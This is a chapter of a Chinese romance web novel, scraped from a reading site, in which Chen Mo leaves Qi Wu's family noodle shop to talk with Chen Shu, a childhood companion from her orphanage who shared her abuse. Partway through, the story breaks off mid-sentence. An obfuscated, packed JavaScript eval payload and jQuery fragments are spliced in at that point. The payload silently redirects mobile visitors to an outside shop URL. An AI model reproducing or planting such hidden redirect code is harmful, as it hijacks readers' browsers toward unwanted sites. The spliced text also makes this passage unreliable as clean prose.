文趣网 > 其他小说 > 一颗涩果 > 36. 第 36 章
    大梦一场。

    陈茉反应过来,就只觉得自己刚才好像一不小心,掉进了一场不愿醒来的美梦里。

    现在,到了梦该醒的时候了。

    就像刚才那样小心翼翼抱住他一样,陈茉此刻放手,动作也是小心又缓慢的。

    “好了。”陈茉松开手,像是在跟祁雾说,也像是在和自己讲。

    “够了。”她说,语气寻常到,就好像她刚刚只是做了件普通到不能再普通的事情。

    反而是祁雾被她这个突然又漫长的拥抱,抱得不自在了。

    祁雾忍住耳廓通红灼烧的炙热感,强装淡定说:“走吧,下楼了。”

    陈茉“嗯”了一声,只是话音未落,他便已经转瞬消失在了门口。

    [落荒而逃],祁雾从未想过有一天,这个词会用来形容自己。

    他怕自己再这么继续跟她待在一个房间里,还会不小心暴露出更难堪的窘态。

    祁雾不允许那样的事情发生。

    只是在她面前红脸,就已经够尴尬了。

    他要再更丢脸的可能发生前,人为阻止这一切的发生。

    .

    “怎么只有你自己下来了。”祁雾匆匆下楼,奶奶也刚好走到楼梯口,仰头往上看了眼,说:“茉莉呢,有同学在店里等她。”

    陈茉听到了。她就跟在祁雾身后。

    于是三个人各站同一楼梯的三个拐点,奶奶抬头看祁雾,祁雾回头看她,而陈茉,则站在最高处下意识皱起了眉。

    这个时间,谁会来找她?

    不管是谁,对一个早已准备好即将要“逃走”的人来说,任何一个人的突然出现,对她来说都是一种潜在的麻烦。

    陈茉迟疑着下楼。

    祁雾没动,就在楼梯中间等着她。

    大概是听到了她的脚步声,陈茉刚走下来,跟祁雾站到同一台阶时,楼下的声音便响起了。

    “陈茉。”

    这声音太熟悉了,却又因为太过熟悉,而遥远的仿佛来自很远很远的过去。

    直到,陈樹完全出现在她眼前那一刻,陈茉脚下那一步也差点跟着踏空。

    幸好祁雾反应够及时,伸手拉住了她。

    陈茉太过意外,以至于全部注意力都在楼下的陈樹身上,根本没注意到旁边的祁雾已经变了神情。

    “可以聊聊吗?”陈樹声音听起来也有些紧张,解释说:“我听他们说在这里碰见了你,所以就想来看看。”

    “真的。”陈樹近乎保证,又带有请求:“我就是想看看你,跟你说说话……”

    “陈樹。”陈茉到底还是保有一丝清醒,在他继续说下去之前先开口打断了他。

    “我们出去说吧。”

    陈茉下到一个可以完全看清楚他面部细微表情变化的高度。

    陈樹眼底有些泛红。以前他也这样,为了保证每次考试都能拿到令陈宝国满意的成绩,他经常晚上回家做完陈宝国安排的事情后,还要再继续学上很长一段时间。

    睡饱觉这件事,对他跟陈茉来说,都是件奢侈的事。

    除此之外,他的笑容里又多了几分憔悴,人也清瘦了很多。

    其他人或许不知道,但陈茉却很清楚,如果脱下校服,他的身上一定又添了很多新的伤痕。

    就像她一开始便已经想到了的一样,这段日子,他过得没比她好到哪里去。

    陈樹点了点头。

    再见面,曾经那样相依为命亲近过的两个人,对视的一瞬间竟然也带有了闪躲生疏。

    一直到陈茉跟着离开,祁雾才从楼梯上走了下来。

    “谁呀?”奶奶望向门口消失的两道身影,小声问祁雾。

    祁雾耸了耸肩,看似无所谓道:“不知道。”

    但其实,从刚才陈茉因为这个叫陈樹的男生而差点一脚踏空的瞬间,他就已经感觉到了,这个人对陈茉来讲,跟其他人不一样。

    至少,跟他上次在店里遇到的那个男生,绝对不一样。

    从她的反应来看,她和他之间应该有一段对彼此来说都很重要的过往。

    祁雾表面看似无所谓,但从陈茉跟着一起出去之后,他的余光就没有停止过看向门口。

    “真这么在意,直接追出去好了。”

    奶奶从后厨门帘突然探出个脑袋来,吓了坐在收银台前的祁雾一跳。

    “奶奶。”他抱怨,“你怎么没有一点声音啊。”

    奶奶笑着:“是你的心思早就已经跟着跑了吧。”

    “我才懒得管她的事。”

    “我又没说是谁。”

    ……

    “你们现在这些年轻人啊。”奶奶干脆拉了个凳子坐他旁边,“嘴巴硬得要命,也不知道非要把特别简单的一件事弄得这么复杂干嘛。”

    “喜欢就要表示啊,在乎也得让人知道,大大方方地表达自己的感受。”奶奶故意停顿在这里,看着他说:“这样很难吗。”

    对呀,这样很难吗。

    祁雾也问自己。

    但是他给出的答案,似乎是真的很难。

    在他遇到陈茉之前,祁雾似乎从来没有这样被一个人的喜怒哀乐牵动过,也没有因为一个人飘忽不定、琢磨不透而辗转反侧过。

    最初,他并不明白自己为什么总是会在脑海里反复想起陈茉莉那张脸。

    有时候是店里等桌的空闲时间,有时候是早起刷牙刷到一半,也有时候是在看一篇阅读理解,还有很多次,她也会频繁出现在自己梦里。

    阴魂不散。这是祁雾一开始对这种反常行为的总结。

    他把这一切归结于是陈茉莉太烦人了。因为她频繁又没有任何章法地次次试图打破他的边界,所以他才会这样烦她;又因为太烦她,所以才会经常想起她。

    祁雾不肯也不愿相信,这些感受归根结底,其实都是因为他在乎。

    甚至直到刚才,他看着陈茉跟着另一个人离开的瞬间,他才终于明白自己在巷子里找到她那一刻的激动,是因为[失而复得],是他怕极了会失去她。

    所以如果这样,算得上是喜欢了吗?

    祁雾喜欢陈茉莉吗?

    如果有人这样问他。

    祁雾可能还是给不了一个肯定的回答,他唯一能确定的,就是如果哪天陈茉莉真的不再来烦他了,他会很不习惯,也会非常想念。

    “瘦了。”这是陈樹出门后跟她说的第一句话。

    陈茉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945314|210501||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说他也是,然后两个人便对视笑笑。

    可能他们谁也没有想过,再见面,彼此竟然是这么克制又生疏的寒暄。

    两个人出门后没走太远,就着面馆外的马路牙儿便一起坐了下来。

    秋后的阳光不再炙热,但午后的水泥石灰依旧被晒得暖烘烘的。

    陈茉坐下去那一刻,时间好像也跟着拉回到了他们的童年。

    陈茉垂眸看着脚尖,轻声说:“你还记不记得小时候我们也这样,中午院长统一要求午休,我睡不着,然后你就拉我偷偷跑出去。”

    “记得。”陈樹也笑了,说:“跑出去之后发现也没有地方可以去,福利院的大门总是关着,院子里能玩的、不能玩的地方我们都去过了。”

    “然后你就带着我坐在宿舍门外的台阶上,抬头看云朵来回移动变化,数着一个中午到底会飘过多少朵云彩。”

    陈茉回忆着,那时候的天空总是很蓝,云也很低,仿佛一伸手就能够到。

    可是现在她再抬头,却再也没见过那样好看的天气。

    路城,似乎永远有下不完的雨。

    陈樹静静转过头,看她轻轻说:“那时候真好。”

    那时候的你,还很爱笑,发自内心的、真正的、开心的笑。

    “要是能回到过去就好了。”陈樹说。

    是啊,要是能回到过去就好了。

    可是他们比谁都清楚,过去那扇门,早就已经对他们彻底关闭了。

    他们回不去,永远都回不去。

    “脖子上的伤,一定很疼吧。”陈樹侧脸之后,目光就一直落在她脖间的白色纱块上,一次没有挪开。

    “疼。”陈茉在他面前不用掩饰伤口,因为他们比谁都了解,对方身上有多少伤疤,以及这些伤疤背后比伤口更疼的存在。

    纤细又少血色的手指轻轻放在脖间,似有若无地摸了下,接着转过头笑着跟他说:“但你知道的,我不怕疼,早就不怕了。”

    可是当初在福利院,明明是不下心摔跤了都要大哭一场的人啊。

    究竟是从什么时候开始,他们就这样长大了,长成了跟儿时的自己完全不一样的人。

    “笨蛋。”陈樹忍不住伸手去碰她的伤口,“疼就是疼,跟怕不怕没关系。”

    “那你呢。”陈茉问,“他打你了吗,疼不疼。”

    “疼。”陈樹说,“疼得要死,疼得我都想杀了他,疼得我好开心,至少,你不用再挨打了。”

    眼泪就这样潸然而下。

    悲伤的,汹涌的,破碎的……模糊了陈茉的视线,也带走了她的声音。

    陈茉双手紧紧抱住陈樹。

    就像,陈宝国第一次把他们关在地下室那个煎熬漫长的夜晚,她也是这样紧紧抱着他,告诉他没关系,她会一直在他身边,保护他,陪着他。

    只是后来,她很抱歉,她食言了。

    “陈樹,对不起。”

    陈茉一遍又一遍道歉,但无论说再多遍,只要再见到陈樹,她依旧会觉得自己是个永远不配被原谅的,违背诺言的那一个。

    先松手的人,是叛徒。

    这句话是她曾经讲给陈樹的,后来,她成为了自己口中的[叛徒]。